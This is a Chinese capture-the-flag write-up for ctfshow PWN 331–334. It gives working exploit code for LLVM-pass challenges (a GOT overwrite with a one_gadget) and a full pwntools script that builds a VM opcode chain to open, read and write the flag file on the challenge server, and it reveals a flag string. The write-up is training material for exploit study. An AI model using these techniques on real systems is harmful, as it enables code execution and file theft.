PWN 331
运行即可拿flag
opt-8 -load ./LLVMHello.so -hello ./pwn.ll
ctfshow{llvm_pwn_is_v3ry_easy_aNd_v3ry_fuNny}
PWN 332 (LLVM-PWN)
分析:

会调用sub_6AC0

调用sub_6b80函数

程序在开始的时候就会获取函数名,然后依次与后面的函数名匹配。
pop函数

push函数

store函数

load函数

add函数

min函数

思路:
- 先利用
add函数向reg1中写入free_got - 在利用
load函数把reg1中free_got中的free函数地址取出来放到reg2 - 再利用
min函数和add函数计算出one_gadget的地址 - 利用
store函数将reg2中的one_gadget写入reg1中的free_got中 - 最后结束时调用
free函数,执行我们的one_gadget
EXP:
笔者Ubuntu是20.04所以打本机是:
void store(int a);
void load(int a);
void add(int a,long long b);
void min(int a,long long b);
void o0o0o0o0(){
add(1,0x785100);
load(1);
min(2,0x000000000009a6d0);
add(2,0xe3afe);
add(1,0x870);
store(1);
}

远程上传
void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);
void o0o0o0o0()
{
add(1, 0x77E100);
load(1);
min(2, 0x9a6d0);
add(2, 0xe3afe);
add(1, 0x870);
store(1);
}
from pwn import *
import sys
context.log_level='debug'
con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.ll","rb")
payload=f.read()
f.close()
payload2 = base64.b64encode(payload).decode('ascii')
con.sendlineafter("Send your code plz: ", payload2)
con.interactive()
PWN 333 (VM)
本题和LLVM应该没有关系,就是一个VM PWM

保护全开
分析:
初始化

题目在初始化的时候申请了一块空间,这块空间相当于 栈

这里就是读入我们的opcode
pop函数和push函数

这里的 v19~v22相当于 rax,rdi,rsi,rdx 后面会分析到。
如上图 当 op 在 6~9范围里就是调用pop函数,会根据op的值把now_mmap中的值pop到对应的v19~v22中。
如图:

对于push函数则对应 op 1~5,会把 v18~v22的值压入now_mmap中

加法

就是对now_mmap栈顶的值做加法
减法

就是对now_mmap栈顶的值做减法
syscall

这里时给syscall的调用函数,光看反汇编看不出什么,直接看汇编如下:

如图就可以看到,这里的 rbp+var_28,rbp+var_20,rbp+var_18,rbp+var_10分别对应的就是v19 , v20 , v21 , v22
然后会依次对寄存器 rax , rdi ,rsi ,rdx赋值 并且在执行完 syscall 后 会把 rax的存放进 v18中。
所以对于 op = 12来说操作如下:
- rax == v19
- rdi == v20
- rsi == v21
- rdx == v22
- v18存放 syscall后 rax的值
压入我们输入的值

这个函数就是压入我们输入的值。
思路
知识点: \#define __NR_brk 12 当我们调用brk()函数后会返回一个堆地址,这个堆地址就是堆结束地址。并且这个地址会放入rax中,这样我们可以通过对这个地址进行减去一定的偏移得到一个可以写入的地址,然后就能进行一系列操作
- 因为本题保护全开,我们很难泄露地址,但由于有syscall调用,所以我们先
syscall 12调用brk后拿到一个堆地址 - 对改地址进行减法操作,拿到一个可以写入的堆地址
- 因为可以 调用
sysall,所以我们可以ORW,先调用read函数向这个堆地址写入flag文件名 - 然后调用
open函数 打开这个文件 - 调用
read函数读取这个 文件 - 最后调用
write输出flag
EXP
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
elf = ELF(pwnfile)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def push_imm(value): #生成操作码0的指令,将8字节立即数压入栈
return b"\x00"+p64(value)
def push_arg(value): #操作码1-5的指令 push
return p8(value)
def pop_arg(value): #操作码6-9的指令 pop
return p8(value)
def add_imm(value):
return p8(10)+p64(value)
def min_imm(value):
return p8(11)+p64(value)
def syscall():
return p8(12)
def pwn():
ru(b"Input your op code:")
payload = push_imm(12)+pop_arg(6) #rax == 12
payload += push_imm(0x10000)+pop_arg(7) #rdi == 0x10000
payload += push_imm(0)+pop_arg(8) #rsi == 0
payload += push_imm(0)+pop_arg(9) #rdx == 0
payload += syscall() #syscall brk(0x10000)
payload += push_arg(1) #call的返回值会放在rax中,op=12中call后会把rax (call_ret后面叫做target_addr)的值给v18
payload += min_imm(0x1000)+pop_arg(8) #rsi == target_addr ==call_ret - 0x1000
payload += push_imm(0)+pop_arg(6) #rax == 0
payload += push_imm(0)+pop_arg(7) #rdi == 0
payload += push_imm(0x100)+pop_arg(9) #rdx == 0x100
payload += syscall() #syscall read(0,target_addr,0x100)
payload += push_arg(4) #push rsi
payload += pop_arg(7) #rdi == target_addr
payload += push_imm(0)+pop_arg(8) #rsi == 0
payload += push_imm(0)+pop_arg(9) #rdx == 0
payload += push_imm(2)+pop_arg(6) #rax == 2
payload += syscall() #syscall open(target_addr,0,0)
payload += push_arg(3) #push rdi
payload += pop_arg(8) #rsi == target_addr
payload += push_arg(1) #push rax (open_fd)
payload += pop_arg(7) #rdi == open_fd
payload += push_imm(0x100)+pop_arg(9) #rdx == 0x100
payload += push_imm(0)+pop_arg(6) #rax == 0
payload += syscall() #syscall read(open_fd,target_addr,0x100)
payload += push_imm(1)+pop_arg(6) #rax == 1
payload += push_imm(1)+pop_arg(7) #rdi == 1
payload += syscall() #write(1,target_addr,0x100)
sl(payload)
sl(b"ctfshow_flag\x00")
itr()
if __name__ == "__main__":
# while True:
io = remote("pwn.challenge.ctf.show",28312)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
调试
调用 brk 前

调用brk后

对该地址减去一定偏移(大小看自己设置),就能拿到可以写的堆地址

后面就是正常的ORW了
PWN 334
CISCI 2021年原题,详细请看
LLVM PWN 入门(一)
EXP:
int save(char *a,char *b){return 0;};
int takeaway(char *a){return 0;};
void stealkey();
void fakekey(int d);
void run();
void B4ckDo0r(){
save("a","b");
save("a","b");
save("a","b");
save("a","b");
save("a","b");
save("a","b");
save("a","b");
save("\x00","b");
stealkey();
fakekey(-0x2E19b4);
run();
}
922

被折叠的 条评论
为什么被折叠?



